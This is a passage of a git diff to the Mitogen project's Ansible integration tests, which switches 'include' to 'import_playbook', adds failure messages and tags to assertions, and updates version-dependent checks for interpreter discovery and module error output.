new_become_env={{new_become_env}} + tags: + - reconnection diff --git a/tests/ansible/integration/context_service/remote_name.yml b/tests/ansible/integration/context_service/remote_name.yml index d7116ec1..cce209e4 100644 --- a/tests/ansible/integration/context_service/remote_name.yml +++ b/tests/ansible/integration/context_service/remote_name.yml @@ -18,6 +18,7 @@ - assert: that: - out.stdout is match('.*python([0-9.]+)?\(mitogen:[a-z]+@[^:]+:[0-9]+\)') + fail_msg: out={{out}} - shell: 'cat /proc/$PPID/cmdline | tr \\0 \\n' register: out @@ -28,4 +29,6 @@ - assert: that: - out.stdout is match('.*python([0-9.]+)?\(mitogen:ansible\)') - + fail_msg: out={{out}} + tags: + - remote_name diff --git a/tests/ansible/integration/glibc_caches/all.yml b/tests/ansible/integration/glibc_caches/all.yml index 8cff4ea8..7d524540 100644 --- a/tests/ansible/integration/glibc_caches/all.yml +++ b/tests/ansible/integration/glibc_caches/all.yml @@ -1,2 +1,2 @@ -- include: resolv_conf.yml +- import_playbook: resolv_conf.yml diff --git a/tests/ansible/integration/glibc_caches/resolv_conf.yml b/tests/ansible/integration/glibc_caches/resolv_conf.yml index da78c308..e83ce38e 100644 --- a/tests/ansible/integration/glibc_caches/resolv_conf.yml +++ b/tests/ansible/integration/glibc_caches/resolv_conf.yml @@ -8,42 +8,44 @@ vars: ansible_become_pass: has_sudo_pubkey_password tasks: - - mitogen_test_gethostbyname: name: www.google.com register: out - when: | - ansible_virtualization_type == "docker" and - ansible_python_version > "2.5" + when: + - ansible_facts.virtualization_type == "docker" + - ansible_facts.python.version_info[:2] >= [2, 5] - shell: cp /etc/resolv.conf /tmp/resolv.conf - when: | - ansible_virtualization_type == "docker" and - ansible_python_version > "2.5" + when: + - ansible_facts.virtualization_type == "docker" + - ansible_facts.python.version_info[:2] >= [2, 5] - shell: echo > /etc/resolv.conf - when: | - ansible_virtualization_type == "docker" and - ansible_python_version > "2.5" + when: + - ansible_facts.virtualization_type == "docker" + - ansible_facts.python.version_info[:2] >= [2, 5] - mitogen_test_gethostbyname: name: www.google.com register: out ignore_errors: true - when: | - ansible_virtualization_type == "docker" and - ansible_python_version > "2.5" + when: + - ansible_facts.virtualization_type == "docker" + - ansible_facts.python.version_info[:2] >= [2, 5] - shell: cat /tmp/resolv.conf > /etc/resolv.conf - when: | - ansible_virtualization_type == "docker" and - ansible_python_version > "2.5" + when: + - ansible_facts.virtualization_type == "docker" + - ansible_facts.python.version_info[:2] >= [2, 5] - assert: that: - out.failed - '"Name or service not known" in out.msg or "Temporary failure in name resolution" in out.msg' - when: | - ansible_virtualization_type == "docker" and - ansible_python_version > "2.5" + fail_msg: out={{out}} + when: + - ansible_facts.virtualization_type == "docker" + - ansible_facts.python.version_info[:2] >= [2, 5] + tags: + - resolv_conf diff --git a/tests/ansible/integration/interpreter_discovery/all.yml b/tests/ansible/integration/interpreter_discovery/all.yml index 403fd761..56fbc622 100644 --- a/tests/ansible/integration/interpreter_discovery/all.yml +++ b/tests/ansible/integration/interpreter_discovery/all.yml @@ -1,2 +1,2 @@ -- include: complex_args.yml -- include: ansible_2_8_tests.yml +- import_playbook: complex_args.yml +- import_playbook: ansible_2_8_tests.yml diff --git a/tests/ansible/integration/interpreter_discovery/ansible_2_8_tests.yml b/tests/ansible/integration/interpreter_discovery/ansible_2_8_tests.yml index a4aec22f..201ef8b4 100644 --- a/tests/ansible/integration/interpreter_discovery/ansible_2_8_tests.yml +++ b/tests/ansible/integration/interpreter_discovery/ansible_2_8_tests.yml @@ -49,6 +49,7 @@ that: - auto_out.ansible_facts.discovered_interpreter_python is defined - echoout.running_python_interpreter == auto_out.ansible_facts.discovered_interpreter_python + fail_msg: auto_out={{auto_out}} echoout={{echoout}} - name: test that auto_legacy gives a dep warning when /usr/bin/python present but != auto result @@ -62,14 +63,33 @@ ping: register: legacy - - name: check for dep warning (only on platforms where auto result is not /usr/bin/python and legacy is) + - name: check for dep warning (only on platforms where auto result is not /usr/bin/python and legacy is) for ansible 2.8-2.11 + # from ansible 2.12 on this changed + # - https://docs.ansible.com/ansible/devel/porting_guides/porting_guide_5.html#python-interpreter-discovery + # - https://docs.ansible.com/ansible/latest/reference_appendices/interpreter_discovery.html + # default discovery method is now auto and will default to python3 + # and the message changed from a deprecation warning to a real warning that can not be suppressed by + # using deprecation_warnings=False assert: that: - legacy.deprecations | default([]) | length > 0 + fail_msg: legacy={{legacy}} # only check for a dep warning if legacy returned /usr/bin/python and auto didn't - when: legacy.ansible_facts.discovered_interpreter_python == '/usr/bin/python' and - auto_out.ansible_facts.discovered_interpreter_python != '/usr/bin/python' + when: + - legacy.ansible_facts.discovered_interpreter_python == '/usr/bin/python' + - auto_out.ansible_facts.discovered_interpreter_python != '/usr/bin/python' + - ansible_version.full is version_compare('2.12.0', '<', strict=True) + - name: check for warning (only on platforms where auto result is not /usr/bin/python and legacy is) from ansible 2.12 on + assert: + that: + - legacy.warnings | default([]) | length > 0 + fail_msg: legacy={{legacy}} + # only check for a warning if legacy returned /usr/bin/python and auto didn't + when: + - legacy.ansible_facts.discovered_interpreter_python == '/usr/bin/python' + - auto_out.ansible_facts.discovered_interpreter_python != '/usr/bin/python' + - ansible_version.full is version_compare('2.12.0', '>=', strict=True) - name: test that auto_silent never warns and got the same answer as auto block: @@ -86,6 +106,7 @@ that: - auto_silent_out.warnings is not defined - auto_silent_out.ansible_facts.discovered_interpreter_python == auto_out.ansible_facts.discovered_interpreter_python + fail_msg: auto_silent_out={{auto_silent_out}} - name: test that auto_legacy_silent never warns and got the same answer as auto_legacy @@ -103,6 +124,7 @@ that: - legacy_silent.warnings is not defined - legacy_silent.ansible_facts.discovered_interpreter_python == legacy.ansible_facts.discovered_interpreter_python + fail_msg: legacy_silent={{legacy_silent}} - name: ensure modules can't set discovered_interpreter_X or ansible_X_interpreter block: @@ -127,32 +149,57 @@ assert: that: - auto_out.ansible_facts.discovered_interpreter_python == '/usr/bin/python3' - when: distro == 'fedora' and distro_version is version('23', '>=') + fail_msg: auto_out={{auto_out}} + when: + - distro == 'fedora' + - distro_version is version('23.0', '>=', strict=True) + + - name: rhel < 8 assertions + assert: + that: + - auto_out.ansible_facts.discovered_interpreter_python == '/usr/bin/python' + fail_msg: auto_out={{auto_out}} + when: + - distro in ('redhat', 'centos') + - distro_version is version('8.0', '<', strict=true) + + - name: rhel 8+ assertions + assert: + that: + - auto_out.ansible_facts.discovered_interpreter_python == '/usr/libexec/platform-python' + fail_msg: auto_out={{auto_out}} + when: + - distro in ('redhat', 'centos') + - distro_version is version('8.0', '>=', strict=true) - - name: rhel assertions + - name: ubuntu < 16.04 assertions assert: that: - # rhel 6/7 - - (auto_out.ansible_facts.discovered_interpreter_python == '/usr/bin/python' and distro_version is version('8','<')) or distro_version is version('8','>=') - # rhel 8+ - - (auto_out.ansible_facts.discovered_interpreter_python == '/usr/libexec/platform-python' and distro_version is version('8','>=')) or distro_version is version('8','<') - when: distro in ('redhat', 'centos') + - auto_out.ansible_facts.discovered_interpreter_python == '/usr/bin/python' + fail_msg: auto_out={{auto_out}} + when: + - distro == 'ubuntu' + - distro_version is version('16.04', '<', strict=true) - - name: ubuntu assertions + - name: ubuntu 16.04+ assertions assert: that: - # ubuntu < 16 - - (auto_out.ansible_facts.discovered_interpreter_python == '/usr/bin/python' and distro_version is version('16.04','<')) or distro_version is version('16.04','>=') - # ubuntu >= 16 - - (auto_out.ansible_facts.discovered_interpreter_python == '/usr/bin/python3' and distro_version is version('16.04','>=')) or distro_version is version('16.04','<') - when: distro == 'ubuntu' + - auto_out.ansible_facts.discovered_interpreter_python == '/usr/bin/python3' + fail_msg: auto_out={{auto_out}} + when: + - distro == 'ubuntu' + - distro_version is version('16.04', '>=', strict=True) - name: mac assertions assert: that: - auto_out.ansible_facts.discovered_interpreter_python == '/usr/bin/python' + fail_msg: auto_out={{auto_out}} when: os_family == 'Darwin' always: - meta: clear_facts - when: ansible_version.full is version_compare('2.8.0', '>=') + when: + - ansible_version.full is version_compare('2.8.0', '>=', strict=True) + tags: + - ansible_2_8_tests diff --git a/tests/ansible/integration/interpreter_discovery/complex_args.yml b/tests/ansible/integration/interpreter_discovery/complex_args.yml index 6c53e9e5..ca35a402 100644 --- a/tests/ansible/integration/interpreter_discovery/complex_args.yml +++ b/tests/ansible/integration/interpreter_discovery/complex_args.yml @@ -54,3 +54,5 @@ environment: https_proxy: "{{ lookup('env', 'https_proxy')|default('') }}" no_proxy: "{{ lookup('env', 'no_proxy')|default('') }}" + tags: + - complex_args diff --git a/tests/ansible/integration/local/all.yml b/tests/ansible/integration/local/all.yml index 5f8b4dd4..383a9108 100644 --- a/tests/ansible/integration/local/all.yml +++ b/tests/ansible/integration/local/all.yml @@ -1,4 +1,4 @@ -- include: cwd_preserved.yml -- include: env_preserved.yml +- import_playbook: cwd_preserved.yml +- import_playbook: env_preserved.yml diff --git a/tests/ansible/integration/local/cwd_preserved.yml b/tests/ansible/integration/local/cwd_preserved.yml index e5c0f7a4..24a34ba8 100644 --- a/tests/ansible/integration/local/cwd_preserved.yml +++ b/tests/ansible/integration/local/cwd_preserved.yml @@ -19,4 +19,6 @@ - assert: that: stat.stat.exists - + fail_msg: stat={{stat}} + tags: + - cwd_prseserved diff --git a/tests/ansible/integration/local/env_preserved.yml b/tests/ansible/integration/local/env_preserved.yml index 1375391e..64794756 100644 --- a/tests/ansible/integration/local/env_preserved.yml +++ b/tests/ansible/integration/local/env_preserved.yml @@ -6,3 +6,5 @@ connection: local tasks: - shell: "env | grep EVIL_VARS_PLUGIN" + tags: + - env_preserved diff --git a/tests/ansible/integration/module_utils/adjacent_to_playbook.yml b/tests/ansible/integration/module_utils/adjacent_to_playbook.yml index 63bd90b2..edd65db7 100644 --- a/tests/ansible/integration/module_utils/adjacent_to_playbook.yml +++ b/tests/ansible/integration/module_utils/adjacent_to_playbook.yml @@ -13,4 +13,6 @@ that: - out.external1_path == "ansible/integration/module_utils/module_utils/external1.py" - out.external2_path == "ansible/lib/module_utils/external2.py" - + fail_msg: out={{out}} + tags: + - adjacent_to_playbook diff --git a/tests/ansible/integration/module_utils/adjacent_to_role.yml b/tests/ansible/integration/module_utils/adjacent_to_role.yml index 3fd3b1e6..4430c2d9 100644 --- a/tests/ansible/integration/module_utils/adjacent_to_role.yml +++ b/tests/ansible/integration/module_utils/adjacent_to_role.yml @@ -6,3 +6,5 @@ any_errors_fatal: true roles: - modrole + tags: + - adjacent_to_playbook diff --git a/tests/ansible/integration/module_utils/all.yml b/tests/ansible/integration/module_utils/all.yml index b68e2ee3..c8b8f2fb 100644 --- a/tests/ansible/integration/module_utils/all.yml +++ b/tests/ansible/integration/module_utils/all.yml @@ -1,6 +1,6 @@ -#- include: from_config_path.yml -#- include: from_config_path_pkg.yml -#- include: adjacent_to_playbook.yml -- include: adjacent_to_role.yml -#- include: overrides_builtin.yml +#- import_playbook: from_config_path.yml +#- import_playbook: from_config_path_pkg.yml +#- import_playbook: adjacent_to_playbook.yml +- import_playbook: adjacent_to_role.yml +#- import_playbook: overrides_builtin.yml diff --git a/tests/ansible/integration/module_utils/from_config_path.yml b/tests/ansible/integration/module_utils/from_config_path.yml index e469fe32..0fb0f3ea 100644 --- a/tests/ansible/integration/module_utils/from_config_path.yml +++ b/tests/ansible/integration/module_utils/from_config_path.yml @@ -12,4 +12,6 @@ that: - out.external1_path == "ansible/lib/module_utils/external1.py" - out.external2_path == "ansible/lib/module_utils/external2.py" - + fail_msg: out={{out}} + tags: + - from_config_path diff --git a/tests/ansible/integration/module_utils/from_config_path_pkg.yml b/tests/ansible/integration/module_utils/from_config_path_pkg.yml index 5db3d124..3453cf29 100644 --- a/tests/ansible/integration/module_utils/from_config_path_pkg.yml +++ b/tests/ansible/integration/module_utils/from_config_path_pkg.yml @@ -11,4 +11,6 @@ - assert: that: - out.extmod_path == "ansible/lib/module_utils/externalpkg/extmod.py" - + fail_msg: out={{out}} + tags: + - from_config_path diff --git a/tests/ansible/integration/module_utils/overrides_builtin.yml b/tests/ansible/integration/module_utils/overrides_builtin.yml index 635876f1..86d88312 100644 --- a/tests/ansible/integration/module_utils/overrides_builtin.yml +++ b/tests/ansible/integration/module_utils/overrides_builtin.yml @@ -4,3 +4,5 @@ any_errors_fatal: true roles: - overrides_modrole + tags: + - overrides_builtin diff --git a/tests/ansible/integration/module_utils/roles/modrole/module_utils/external2.py b/tests/ansible/integration/module_utils/roles/modrole/module_utils/external2.py index a00278a0..4ea8bc90 100644 --- a/tests/ansible/integration/module_utils/roles/modrole/module_utils/external2.py +++ b/tests/ansible/integration/module_utils/roles/modrole/module_utils/external2.py @@ -1,3 +1,2 @@ - def path(): return "integration/module_utils/roles/modrole/module_utils/external2.py" diff --git a/tests/ansible/integration/module_utils/roles/modrole/tasks/main.yml b/tests/ansible/integration/module_utils/roles/modrole/tasks/main.yml index 2c7c3372..7686cae7 100644 --- a/tests/ansible/integration/module_utils/roles/modrole/tasks/main.yml +++ b/tests/ansible/integration/module_utils/roles/modrole/tasks/main.yml @@ -7,3 +7,4 @@ that: - out.external3_path == "integration/module_utils/roles/modrole/module_utils/external3.py" - out.external2_path == "integration/module_utils/roles/modrole/module_utils/external2.py" + fail_msg: out={{out}} diff --git a/tests/ansible/integration/module_utils/roles/overrides_modrole/library/uses_custom_known_hosts.py b/tests/ansible/integration/module_utils/roles/overrides_modrole/library/uses_custom_known_hosts.py index f0e9439b..688fc45a 100644 --- a/tests/ansible/integration/module_utils/roles/overrides_modrole/library/uses_custom_known_hosts.py +++ b/tests/ansible/integration/module_utils/roles/overrides_modrole/library/uses_custom_known_hosts.py @@ -1,11 +1,11 @@ #!/usr/bin/python import json -from ansible.module_utils.basic import path +import ansible.module_utils.basic def main(): print(json.dumps({ - 'path': path() + 'path': ansible.module_utils.basic.path() })) if __name__ == '__main__': diff --git a/tests/ansible/integration/module_utils/roles/overrides_modrole/tasks/main.yml b/tests/ansible/integration/module_utils/roles/overrides_modrole/tasks/main.yml index 6ef4703a..11b1d8b9 100644 --- a/tests/ansible/integration/module_utils/roles/overrides_modrole/tasks/main.yml +++ b/tests/ansible/integration/module_utils/roles/overrides_modrole/tasks/main.yml @@ -6,3 +6,4 @@ - assert: that: - out.path == "ansible/integration/module_utils/roles/override_modrole/module_utils/known_hosts.py" + fail_msg: out={{out}} diff --git a/tests/ansible/integration/playbook_semantics/all.yml b/tests/ansible/integration/playbook_semantics/all.yml index ec7a9a07..6c8dd065 100644 --- a/tests/ansible/integration/playbook_semantics/all.yml +++ b/tests/ansible/integration/playbook_semantics/all.yml @@ -1,4 +1,4 @@ -- include: become_flags.yml -- include: delegate_to.yml -- include: environment.yml -- include: with_items.yml +- import_playbook: become_flags.yml +- import_playbook: delegate_to.yml +- import_playbook: environment.yml +- import_playbook: with_items.yml diff --git a/tests/ansible/integration/playbook_semantics/become_flags.yml b/tests/ansible/integration/playbook_semantics/become_flags.yml index f2ab0b5d..ac762643 100644 --- a/tests/ansible/integration/playbook_semantics/become_flags.yml +++ b/tests/ansible/integration/playbook_semantics/become_flags.yml @@ -14,6 +14,9 @@ - assert: that: "out.stdout == ''" + fail_msg: out={{out}} + tags: + - become_flags - hosts: test-targets any_errors_fatal: true @@ -28,3 +31,6 @@ - assert: that: "out2.stdout == '2'" + fail_msg: out={{out}} + tags: + - become_flags diff --git a/tests/ansible/integration/playbook_semantics/delegate_to.yml b/tests/ansible/integration/playbook_semantics/delegate_to.yml index 4d4da028..7536258f 100644 --- a/tests/ansible/integration/playbook_semantics/delegate_to.yml +++ b/tests/ansible/integration/playbook_semantics/delegate_to.yml @@ -51,10 +51,14 @@ shell: whoami > /tmp/delegate_to.yml.txt delegate_to: localhost become: true + tags: + - requires_local_sudo - name: "delegate_to, sudo" assert: that: "lookup('file', '/tmp/delegate_to.yml.txt') == 'root'" + tags: + - requires_local_sudo - name: "delegate_to, sudo" file: @@ -62,6 +66,8 @@ state: absent delegate_to: localhost become: true + tags: + - requires_local_sudo # @@ -71,10 +77,14 @@ shell: whoami > /tmp/delegate_to.yml.txt connection: local become: true + tags: + - requires_local_sudo - name: "connection:local, sudo" assert: that: "lookup('file', '/tmp/delegate_to.yml.txt') == 'root'" + tags: + - requires_local_sudo - name: "connection:local, sudo" file: @@ -82,3 +92,7 @@ state: absent connection: local become: true + tags: + - requires_local_sudo + tags: + - delegate_to diff --git a/tests/ansible/integration/playbook_semantics/environment.yml b/tests/ansible/integration/playbook_semantics/environment.yml index 1ac7f71d..01e8ce04 100644 --- a/tests/ansible/integration/playbook_semantics/environment.yml +++ b/tests/ansible/integration/playbook_semantics/environment.yml @@ -11,3 +11,6 @@ - assert: that: "result.stdout == '123'" + fail_msg: result={{result}} + tags: + - environment diff --git a/tests/ansible/integration/playbook_semantics/with_items.yml b/tests/ansible/integration/playbook_semantics/with_items.yml index 9e64c1ba..12a92bba 100644 --- a/tests/ansible/integration/playbook_semantics/with_items.yml +++ b/tests/ansible/integration/playbook_semantics/with_items.yml @@ -29,3 +29,5 @@ # - first_run.results[item|int].stdout == ("mitogen__user%d" % (item|int + 1)) # - first_run.results[item|int].stdout == second_run.results[item|int].stdout # with_sequence: start=0 end=2 + tags: + - custom_python_new_style_module diff --git a/tests/ansible/integration/process/all.yml b/tests/ansible/integration/process/all.yml index a309113a..c50d6bd5 100644 --- a/tests/ansible/integration/process/all.yml +++ b/tests/ansible/integration/process/all.yml @@ -1 +1 @@ -- include: "unix_socket_cleanup.yml" +- import_playbook: "unix_socket_cleanup.yml" diff --git a/tests/ansible/integration/process/unix_socket_cleanup.yml b/tests/ansible/integration/process/unix_socket_cleanup.yml index 11a0efe1..6aeac609 100644 --- a/tests/ansible/integration/process/unix_socket_cleanup.yml +++ b/tests/ansible/integration/process/unix_socket_cleanup.yml @@ -26,3 +26,5 @@ - assert_equal: left: socks right: socks2 + tags: + - custom_python_new_style_module diff --git a/tests/ansible/integration/runner/_etc_environment_global.yml b/tests/ansible/integration/runner/_etc_environment_global.yml index 2d22b952..7b769ef4 100644 --- a/tests/ansible/integration/runner/_etc_environment_global.yml +++ b/tests/ansible/integration/runner/_etc_environment_global.yml @@ -10,6 +10,7 @@ - assert: that: echo.stdout == "" + fail_msg: echo={{echo}} - copy: dest: /etc/environment @@ -27,6 +28,7 @@ - assert: that: echo.stdout == "555" + fail_msg: echo={{echo}} - file: path: /etc/environment @@ -43,3 +45,4 @@ - assert: that: echo.stdout == "" + fail_msg: echo={{echo}} diff --git a/tests/ansible/integration/runner/_etc_environment_user.yml b/tests/ansible/integration/runner/_etc_environment_user.yml index ca1dc5cc..9d9b831a 100644 --- a/tests/ansible/integration/runner/_etc_environment_user.yml +++ b/tests/ansible/integration/runner/_etc_environment_user.yml @@ -9,6 +9,7 @@ - assert: that: echo.stdout == "" + fail_msg: echo={{echo}} - copy: dest: ~/.pam_environment @@ -20,6 +21,7 @@ - assert: that: echo.stdout == "321" + fail_msg: echo={{echo}} - file: path: ~/.pam_environment @@ -30,3 +32,4 @@ - assert: that: echo.stdout == "" + fail_msg: echo={{echo}} diff --git a/tests/ansible/integration/runner/all.yml b/tests/ansible/integration/runner/all.yml index 19586547..5de9fb27 100644 --- a/tests/ansible/integration/runner/all.yml +++ b/tests/ansible/integration/runner/all.yml @@ -1,24 +1,24 @@ -- include: atexit.yml -- include: builtin_command_module.yml -- include: crashy_new_style_module.yml -- include: custom_bash_hashbang_argument.yml -- include: custom_bash_old_style_module.yml -- include: custom_bash_want_json_module.yml -- include: custom_binary_producing_json.yml -- include: custom_binary_producing_junk.yml -- include: custom_binary_single_null.yml -- include: custom_perl_json_args_module.yml -- include: custom_perl_want_json_module.yml -- include: custom_python_json_args_module.yml -- include: custom_python_new_style_missing_interpreter.yml -- include: custom_python_new_style_module.yml -- include: custom_python_prehistoric_module.yml -- include: custom_python_want_json_module.yml -- include: custom_script_interpreter.yml -- include: environment_isolation.yml +- import_playbook: atexit.yml +- import_playbook: builtin_command_module.yml +- import_playbook: crashy_new_style_module.yml +- import_playbook: custom_bash_hashbang_argument.yml +- import_playbook: custom_bash_old_style_module.yml +- import_playbook: custom_bash_want_json_module.yml +- import_playbook: custom_binary_producing_json.yml +- import_playbook: custom_binary_producing_junk.yml +- import_playbook: custom_binary_single_null.yml +- import_playbook: custom_perl_json_args_module.yml +- import_playbook: custom_perl_want_json_module.yml +- import_playbook: custom_python_json_args_module.yml +- import_playbook: custom_python_new_style_missing_interpreter.yml +- import_playbook: custom_python_new_style_module.yml +- import_playbook: custom_python_prehistoric_module.yml +- import_playbook: custom_python_want_json_module.yml +- import_playbook: custom_script_interpreter.yml +- import_playbook: environment_isolation.yml # I hate this test. I hope it dies, it has caused nothing but misery and suffering -#- include: etc_environment.yml -- include: forking_active.yml -- include: forking_correct_parent.yml -- include: forking_inactive.yml -- include: missing_module.yml +#- import_playbook: etc_environment.yml +- import_playbook: forking_active.yml +- import_playbook: forking_correct_parent.yml +- import_playbook: forking_inactive.yml +- import_playbook: missing_module.yml diff --git a/tests/ansible/integration/runner/atexit.yml b/tests/ansible/integration/runner/atexit.yml index 65d27d59..65673561 100644 --- a/tests/ansible/integration/runner/atexit.yml +++ b/tests/ansible/integration/runner/atexit.yml @@ -17,7 +17,7 @@ - custom_python_run_script: script: | - import atexit, shutil + import atexit, os, shutil path = '{{path}}' os.mkdir(path, int('777', 8)) atexit.register(shutil.rmtree, path) @@ -29,3 +29,6 @@ - assert: that: - not out.stat.exists + fail_msg: out={{out}} + tags: + - atexit diff --git a/tests/ansible/integration/runner/builtin_command_module.yml b/tests/ansible/integration/runner/builtin_command_module.yml index 0bc5bd34..b567bee6 100644 --- a/tests/ansible/integration/runner/builtin_command_module.yml +++ b/tests/ansible/integration/runner/builtin_command_module.yml @@ -16,3 +16,6 @@ out.results[0].item == '1' and out.results[0].rc == 0 and (out.results[0].stdout == ansible_nodename) + fail_msg: out={{out}} + tags: + - builtin_command_module diff --git a/tests/ansible/integration/runner/crashy_new_style_module.yml b/tests/ansible/integration/runner/crashy_new_style_module.yml index 73bac1f9..77f45861 100644 --- a/tests/ansible/integration/runner/crashy_new_style_module.yml +++ b/tests/ansible/integration/runner/crashy_new_style_module.yml @@ -8,18 +8,20 @@ register: out ignore_errors: true - - assert: + - name: Check error report + vars: + msg_pattern: "MODULE FAILURE(?:\nSee stdout/stderr for the exact error)?" + # (?s) -> . matches any character, even newlines + tb_pattern: "(?s)Traceback \\(most recent call last\\).+NameError: name 'kaboom' is not defined" + assert: that: - not out.changed - out.rc == 1 - # ansible/62d8c8fde6a76d9c567ded381e9b34dad69afcd6 - - | - (ansible_version.full is version('2.7', '<') and out.msg == "MODULE FAILURE") or - (ansible_version.full is version('2.7', '>=') and - out.msg == ( - "MODULE FAILURE\n" + - "See stdout/stderr for the exact error" - )) - - out.module_stdout == "" - - "'Traceback (most recent call last)' in out.module_stderr" - - "\"NameError: name 'kaboom' is not defined\" in out.module_stderr" + # https://github.com/ansible/ansible/commit/62d8c8fde6a76d9c567ded381e9b34dad69afcd6 + - out.msg is match(msg_pattern) + - (out.module_stdout == "" and out.module_stderr is search(tb_pattern)) + or + (out.module_stdout is search(tb_pattern) and out.module_stderr is match("Shared connection to localhost closed.")) + fail_msg: out={{out}} + tags: + - crashy_new_style_module diff --git a/tests/ansible/integration/runner/custom_bash_hashbang_argument.yml b/tests/ansible/integration/runner/custom_bash_hashbang_argument.yml index f02b8419..d2d2281c 100644 --- a/tests/ansible/integration/runner/custom_bash_hashbang_argument.yml +++ b/tests/ansible/integration/runner/custom_bash_hashbang_argument.yml @@ -17,3 +17,6 @@ (not out.results[0].changed) and out.results[0].msg == 'Here is my input' and out.results[0].run_via_env == "yes" + fail_msg: out={{out}} + tags: + - custom_bash_hashbang_argument diff --git a/tests/ansible/integration/runner/custom_bash_old_style_module.yml b/tests/ansible/integration/runner/custom_bash_old_style_module.yml index ff963665..122b8fde 100644 --- a/tests/ansible/integration/runner/custom_bash_old_style_module.yml +++ b/tests/ansible/integration/runner/custom_bash_old_style_module.yml @@ -13,3 +13,6 @@ (not out.changed) and (not out.results[0].changed) and out.results[0].msg == 'Here is my input' + fail_msg: out={{out}} + tags: + - custom_bash_old_style_module diff --git a/tests/ansible/integration/runner/custom_bash_want_json_module.yml b/tests/ansible/integration/runner/custom_bash_want_json_module.yml index 075c95b2..b4242e9a 100644 --- a/tests/ansible/integration/runner/custom_bash_want_json_module.yml +++ b/tests/ansible/integration/runner/custom_bash_want_json_module.yml @@ -12,3 +12,6 @@ (not out.changed) and (not out.results[0].changed) and out.results[0].msg == 'Here is my input' + fail_msg: out={{out}} + tags: + - custom_bash_want_json_module diff --git a/tests/ansible/integration/runner/custom_binary_producing_json.yml b/tests/ansible/integration/runner/custom_binary_producing_json.yml index a3b8a224..6dfeefc3 100644 --- a/tests/ansible/integration/runner/custom_binary_producing_json.yml +++ b/tests/ansible/integration/runner/custom_binary_producing_json.yml @@ -24,3 +24,6 @@ out.changed and out.results[0].changed and out.results[0].msg == 'Hello, world.' + fail_msg: out={{out}} + tags: + - custom_binary_producing_json diff --git a/tests/ansible/integration/runner/custom_binary_producing_junk.yml b/tests/ansible/integration/runner/custom_binary_producing_junk.yml index b9cfb6b4..97fc92fe 100644 --- a/tests/ansible/integration/runner/custom_binary_producing_junk.yml +++ b/tests/ansible/integration/runner/custom_binary_producing_junk.yml @@ -19,6 +19,8 @@ register: out_linux - set_fact: out={{out_linux}} when: ansible_system == "Linux" + tags: + - custom_binary_producing_junk - hosts: test-targets @@ -30,3 +32,6 @@ - out.results[0].failed - out.results[0].msg.startswith('MODULE FAILURE') - out.results[0].rc == 0 + fail_msg: out={{out}} + tags: + - custom_binary_producing_junk diff --git a/tests/ansible/integration/runner/custom_binary_single_null.yml b/tests/ansible/integration/runner/custom_binary_single_null.yml index 8e215bf3..353cc58d 100644 --- a/tests/ansible/integration/runner/custom_binary_single_null.yml +++ b/tests/ansible/integration/runner/custom_binary_single_null.yml @@ -6,6 +6,8 @@ with_sequence: start=1 end={{end|default(1)}} ignore_errors: true register: out + tags: + - custom_binary_single_null - hosts: test-targets any_errors_fatal: true @@ -15,11 +17,21 @@ - "out.failed" - "out.results[0].failed" - "out.results[0].msg.startswith('MODULE FAILURE')" - - "out.results[0].module_stdout.startswith('/bin/sh: ')" + # On Ubuntu 16.04 /bin/sh is dash 0.5.8. It treats custom_binary_single_null + # as a valid executable. There's no error message, and rc == 0. - | - out.results[0].module_stdout.endswith('custom_binary_single_null: cannot execute binary file\r\n') or - out.results[0].module_stdout.endswith('custom_binary_single_null: Exec format error\r\n') - + out.results[0].module_stdout.startswith('/bin/sh: ') + or (ansible_facts.distribution == 'Ubuntu' and ansible_facts.distribution_version == '16.04') + - | + out.results[0].module_stdout.endswith(( + 'custom_binary_single_null: cannot execute binary file\r\n', + 'custom_binary_single_null: Exec format error\r\n', + 'custom_binary_single_null: cannot execute binary file: Exec format error\r\n', + )) + or (ansible_facts.distribution == 'Ubuntu' and ansible_facts.distribution_version == '16.04') + fail_msg: out={{out}} + tags: + - custom_binary_single_null # Can't test this: Mitogen returns 126, 2.5.x returns 126, 2.4.x discarded the # return value and always returned 0. diff --git a/tests/ansible/integration/runner/custom_perl_json_args_module.yml b/tests/ansible/integration/runner/custom_perl_json_args_module.yml index f705cfe4..68230420 100644 --- a/tests/ansible/integration/runner/custom_perl_json_args_module.yml +++ b/tests/ansible/integration/runner/custom_perl_json_args_module.yml @@ -11,9 +11,14 @@ that: - out.results[0].input.foo - out.results[0].message == 'I am a perl script! Here is my input.' + fail_msg: out={{out}} - - when: ansible_version.full > '2.4' - assert: + - assert: that: - (not out.changed) - (not out.results[0].changed) + fail_msg: out={{out}} + when: + - ansible_version.full is version('2.4', '>=', strict=True) + tags: + - custom_perl_json_args_module diff --git a/tests/ansible/integration/runner/custom_perl_want_json_module.yml b/tests/ansible/integration/runner/custom_perl_want_json_module.yml index 24527164..44c39e64 100644 --- a/tests/ansible/integration/runner/custom_perl_want_json_module.yml +++ b/tests/ansible/integration/runner/custom_perl_want_json_module.yml @@ -11,9 +11,14 @@ that: - out.results[0].input.foo - out.results[0].message == 'I am a want JSON perl script! Here is my input.' + fail_msg: out={{out}} - - when: ansible_version.full > '2.4' - assert: + - assert: that: - (not out.changed) - (not out.results[0].changed) + fail_msg: out={{out}} + when: + - ansible_version.full is version('2.4', '>=', strict=True) + tags: + - custom_perl_want_json_module diff --git a/tests/ansible/integration/runner/custom_python_json_args_module.yml b/tests/ansible/integration/runner/custom_python_json_args_module.yml index 338f9180..33a03ba0 100644 --- a/tests/ansible/integration/runner/custom_python_json_args_module.yml +++ b/tests/ansible/integration/runner/custom_python_json_args_module.yml @@ -13,3 +13,6 @@ (not out.results[0].changed) and out.results[0].input[0].foo and out.results[0].msg == 'Here is my input' + fail_msg: out={{out}} + tags: + - custom_python_json_args_module diff --git a/tests/ansible/integration/runner/custom_python_new_style_missing_interpreter.yml b/tests/ansible/integration/runner/custom_python_new_style_missing_interpreter.yml index 77f2cb5c..1562e307 100644 --- a/tests/ansible/integration/runner/custom_python_new_style_missing_interpreter.yml +++ b/tests/ansible/integration/runner/custom_python_new_style_missing_interpreter.yml @@ -15,3 +15,6 @@ # Random breaking interface change since 2.7.x #- "out.results[0].input[0].ANSIBLE_MODULE_ARGS.foo" - "out.results[0].msg == 'Here is my input'" + fail_msg: out={{out}} + tags: + - custom_python_new_style_module diff --git a/tests/ansible/integration/runner/custom_python_new_style_module.yml b/tests/ansible/integration/runner/custom_python_new_style_module.yml index 2ec896b7..b22fdc14 100644 --- a/tests/ansible/integration/runner/custom_python_new_style_module.yml +++ b/tests/ansible/integration/runner/custom_python_new_style_module.yml @@ -18,6 +18,7 @@ # Random breaking interface change since 2.7.x #- 